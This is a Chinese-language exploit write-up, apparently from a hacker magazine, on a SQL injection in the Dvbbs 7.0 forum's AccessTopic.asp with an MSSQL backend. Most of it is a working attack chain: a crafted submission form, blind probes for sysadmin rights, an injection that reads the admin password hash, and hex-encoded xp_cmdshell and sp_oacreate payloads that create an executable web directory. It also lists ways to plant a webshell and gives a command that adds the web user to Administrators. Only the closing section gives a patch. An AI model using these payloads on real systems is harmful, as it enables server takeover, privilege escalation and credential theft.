DVBBS7.0 --幕后的微笑
漏洞文件:AccessTopic.asp
影响版本:Dvbbs7.0任何版本+MSSQL
测试版本:Dvbbs7.0+SP1+MSSQL
测试环境:Windows 2000 Advanced Server + SQL Server 2000
序
动网论坛7.0自从发布以来进一步扩大了其在asp论坛领域的声誉和好评,无论是在美工、性能、安全性和效率上都比上一个版本有了很大的进步。在读代码的时候给我的唯一感觉就是——美。但是世上没有不透风的墙啊,代码写得再严谨也是会有疏忽的时候。为了找出它的漏洞,我就像是大海捞针一样在茫茫的代码中寻觅,蓦然回首那人却在灯火阑珊处。请跟着我来看一看吧。
第一篇 发现新大陆
打开AccessTopic.asp文件,翻到第200-212行,内容为:
……
Sub freetopic()
……
For i=1 to request.form("Announceid").count
ID=replace(request.form("Announceid")(i),"'","")
'删除
If request("actiontype")=2 Then
Set Rs=Dvbbs.Execute("select rootid from "&Dvbbs.NowUsebbs&" where parentid=0 And Announceid="&id)
If not (rs.eof And rs.bof) Then
Dvbbs.Execute("delete from dv_topic where topicid="&rs(0))
Dvbbs.Execute("delete from "& Dvbbs.NowUsebbs &" where rootid="&rs(0))
FoundID=rs(0)
Else
Dvbbs.Execute("delete from "&Dvbbs.NowUsebbs&" where Announceid="&id)
FoundID=0
End If
……
很明显对request.form("Announceid")的值只进行了单引号的过滤,幸好在SQL语句里面不是作为字符串使用,要不然就没有玩的了。要想突破这个单引号的限制非常简单,只要把我们需要用到的字符串用SQL Encoder进行转换一下就可以直接使用了。其基本原理就是在MSSQL中自动的将varbinary类型的数据转换为varchar类型数据,然而这一点在asp中一般是无法分辨出来的。在接下来的操作中涉及到字符串的部分为了便于理解,我保留了原文。在实际操作中请用SQL Encoder进行转换一下,除非特殊情况不作说明。
第二篇 动网论坛的小鞋
这个文件在动网论坛中是各项用于待审核帖子的操作,发现漏洞的过程为删除待审核帖子(request("actiontype")=2)。但是这项功能只有在开放某一个版面的帖子审核功能的时候才可能用到,而且只有斑竹才能使用,其标志变量为在数据中的Dv_Board.BoardSetting列第4个数。
由于此功能默认是关闭的,大部分论坛也不会用到,所以将其评为低危险程度的漏洞。在利用的时候我们可以想像得到Access数据库的功能低下,就仿佛是一个弱智一样,也就没有什么利用价值了,因此我只讨论使用MSSQL数据库的情况。
你可能会想,既然如此不就可以利用报错得到管理员的密码德md5密文了吗,这可就错了。在论坛中每一个SQL语句的执行都是通过Dvbbs.Execute这个过程来实现的,相关代码可以在inc\Dv_ClsMain.asp中找到,在这个过程中过滤了dv_admin关键字,起初的时候我还想过用特殊的方法去构造语句,但是全部失败,如果你有什么办法成功了可别忘记告诉我啊。
由于Announceid是用request.form取得,再利用的时候就要构造本地提交表单,其内容为:
<form action="http://目标服务器地址及相对路径/accesstopic.asp?action=freetopic" method=post name=batch>
<input type=hidden value="修改为打开审核功能版面的boardid值" name=boardid>
<input name="actiontype" value="2" type=hidden>
<textarea name="Announceid" cols="100" rows="20" id="Announceid"></textarea>
<input name=submit value="执行" type=submit>
</form>
只要在满足上述条件的情况下,将表单中的值设置好之后就可以往下看了。
第三篇 让我们知道自己的权力
在取得绝对路径之前先要判断当前数据库用户的权限,这里就遇到了一个问题,无论我们提交的语句是否成立,只要不产生错误,返回的信息都是相同的。你可能已经想到了,就是要将Announceid的值设置为一个已经存在的待审核帖子,在提交成功之后,如果这个帖子已经被删除就说明我们的条件是正确的,否则就是错误的。在这里为了方便,假设每次执行都使用已经存在的boardid=1帖子。
由于在数据库的所有权限中只有sysadmin才有利用价值,所以只需判断他就可以了。打开我们刚才构造的那个表单,并在另外一个页面中用该版版主账号登陆,下面的操作都是在这种条件下完成的,因此不再提及。因此在textarea中填入:
1 and 1=(select is_srvrolemember('sysadmin'))
提交后根据上面提到的判断条件就可知道结果了。同样也可以利用这种方法来判断是否存在xp_cmdshell存储扩展,提交语句为
1 and 1=( select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell')
如果没有该权限的话就只能利用报错看一看前台管理员的密码了,需要提交的语句为:
1 and 1=(select top 1 UserPassword from Dv_User where UserGroupID=1)
如果你想让自己在论坛里面的权限得到提升的话就去破解这个md5密文吧——据说非常困难。
然而在具有sysadmin权限的情况下就相当于得到了服务器的绝对控制权——在操作系统中以system权限执行。接着往下看我是怎么利用该权限的吧。
第四篇 寻找罗马大路
在第2004.3期上臭要饭的提到用xp_regread存储扩展读取注册表的方法来获得web绝对路径,但是经过我的测试后发现这种方法只能得到web服务器安装时的默认路径,如果管理员够聪明的话肯定会进行修改这个值的,那就会导致上传asp木马的失败。我想你可能以体会到过这种情况吧。
现在换个思路考虑,既然不能得到这个路径,那就在服务器上用我们制定的路径建一个虚拟目录问题不就迎刃而解了吗?经过我的测试提交下面的语句可以实现这个操作:
1;exec('master.dbo.xp_cmdshell ''cscript C:\Inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "1" -v "win","c:\winnt\"''')
exec('master.dbo.xp_cmdshell ''cscript C:\Inetpub\AdminScripts/adsutil.vbs set w3svc/1/root/win/AccessExecute True''')
这样就在默认服务器下面建立了一个名为win的虚拟目录,其绝对路径为c:\winnt\,并且具有执行动态脚本的权限,关于mkwebdir.vbs和adsutil.vbs的使用方法可以参考微软的MSDN它比我讲得明白。现在你可以通过访问http://www.sitename.com/win/来判断是否创建成功:返回403错误说明创建成功,返回500错误说明创建失败。
你也许会发现一个问题,在使用SQL Encoder编码后提交语句没有一次成功过,难道语句有错误吗?但是如果你在查询分析器内测试的话他会成功地执行,问题出在数据类型转换的问题上。在MSSQL中exec函数不能进行我们要求的这种数据类型转换,因此需要一步另外的操作。正确的提交代码为:
1;declare @a nvarchar(255);
select @a=0x6d00610073007400650072002e00640062006f002e00780070005f0063006d0064007300680065006c006c00200027006300730063007200690070007400200063003a005c0069006e00650074007000750062005c00610064006d0069006e0073006300720069007000740073005c006d006b007700650062006400690072002e0076006200730020002d00630020006c006f00630061006c0068006f007300740020002d007700200022003100220020002d00760020002200770069006e0022002c00220063003a005c00770069006e006e0074005c0022002700;
exec(@a);
select @a=0x6d00610073007400650072002e00640062006f002e00780070005f0063006d0064007300680065006c006c00200027006300730063007200690070007400200063003a005c0069006e00650074007000750062005c00610064006d0069006e00730063007200690070007
40073002f006100640073007500740069006c002e0076006200730020007300650074002000770033007300760063002f0031002f0072006f006f0074002f00770069006e002f006100630063006500730073006500780065006300750074006500200074007200750065002700;
exec(@a);
首先声明一个nvarchar(255)类型的变量,然后让赋值运算符去进行数据类型的转换。还有一点需要注意,在MSSQL中字符串内部的单引号要用两个单引号,但是在我们使用SQL Encoder进行编码的时候一定要坚持一个单引号的方针,执行表达式不能转换的数据类型交给赋值运算符的政策。后面的代码中基本上都要用到这种方法,所以为了灵活运用一定要记住它。
也许你会遇到服务器没有xp_cmdshell的情况,而且这个时候还没有取得web绝对路径,建立webshell根本就无从谈起。遇到这种情况也不要气馁,我们还有另外的一种方法可以完成这项操作。提交下面的语句:
1;declare @o int;
exec sp_oacreate 'wscript.shell',@o out;
exec sp_oamethod @o,'run',NULL,'cscript C:\Inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "1" -v "win","c:\winnt\"';
exec sp_oacreate 'wscript.shell',@o out;
exec sp_oamethod @o,'run',NULL,'cscript C:\Inetpub\AdminScripts/adsutil.vbs set w3svc/1/root/win/AccessExecute True';
至于数据类型转换的问题可以利用刚才提到的方法去解决。一般的时候管理员很少会注意到sp_oacreate和sp_oamethod这两个存储扩展,你可以放心的去使用。
现在通往罗马的大陆就在我们的面前,那就让我们跑起来吧!什么,你说开车更快点?
第五篇 把跑车开上大路
知道了web绝对路径以后,就可以写入webshell了,据我所知的有五种方法可以实现:
1. N.E.V.E.R的通过使用数据备份的方法,虽然有大量垃圾数据的产生,但是对权限的要求很低,具体可参考他的相关文章;
2. CZY的使用sp_makewebtask存储扩展导出表中数据的方法,附加的数据量很少而且避免了使用xp_cmdshell存储扩展的情况,这种方法我已经在sp_makewebtask.txt给出详细的代码;
3. 使用xp_cmdshell执行批处理的方法,这种方法比较实用,没有任何多于数据的写入问题,在xp_cmdshell.txt文件中你可以找到详细的内容。可以用于只能连接服务器80端口的情况——如果有3389的话还用我说吗?
4. 利用sp_oacreate和sp_oamethod这两个存储扩展执行批处理的方法,使用的条件与xp_cmdshell相同,由于这种方法与3中几乎同出一辙就不再给出代码了;
5. 利用sp_oacreate和sp_oamethod这两个存储扩展调用scripting.filesystemobject对象进行文件的创建及写入操作,使用条件同上。在sp_oacreate&sp_oamethod.txt文件中有详细的代码。
在上述方法中给出的webshell代码均是修改自海洋顶端的cmd.asp,经过简化之后仅余13行关键部分,详细内容见cmd.txt。
你是怎么把车开上路的就要看实际情况了,马爷爷告诉我们要具体情况具体分析的嘛!
第六篇 把安全带系牢
你肯定发现了在数据库内的system权限在建立webshell之后就成了Guests权限,这不是造成浪费了吗!为了继承勤俭节约的光荣传统,可以执行下面的SQL语句将浪费降低到最低的程度:
exec('master.dbo.xp_cmdshell ''net localgroup administrators IUSR_''+host_name()+'' /add''')
当然通过sp_oacreate和sp_oamethod这两个存储扩展执行也可以,关键在于灵活运用,因时制宜,因地制宜。你问我接下来该干什么?我faint,你还是多买两本黑防看一看吧,它会教你怎么做的。
结束语
其实这个漏洞的修补非常的简单,只要将代码中的
ID=replace(request.form("Announceid")(i),"'","")
这一句改为下面的语句就可以了
ID= request.form("Announceid")(i)
If isnumeric(ID) then
ID=CLng(ID)
Else
ID=0
End if
千万不要小看isnumeric函数的作用,修补漏洞可全靠它呢。
俗话说盖一座大楼很困难,但是想拆掉它却是很容易。如果想让自己设计的建筑更加牢固,就要更加完备的设计,即使细节的部分也不能放过,以免由于疏忽而导致蚁穴丛生。
对于软件来说就不仅仅是本身的坍塌了,有可能会带来毁灭性的灾难,甚至于危及整个服务器和服务器所在的网络。因此对于我们软件设计和测试的朋友来说肩上的担子其实挺重的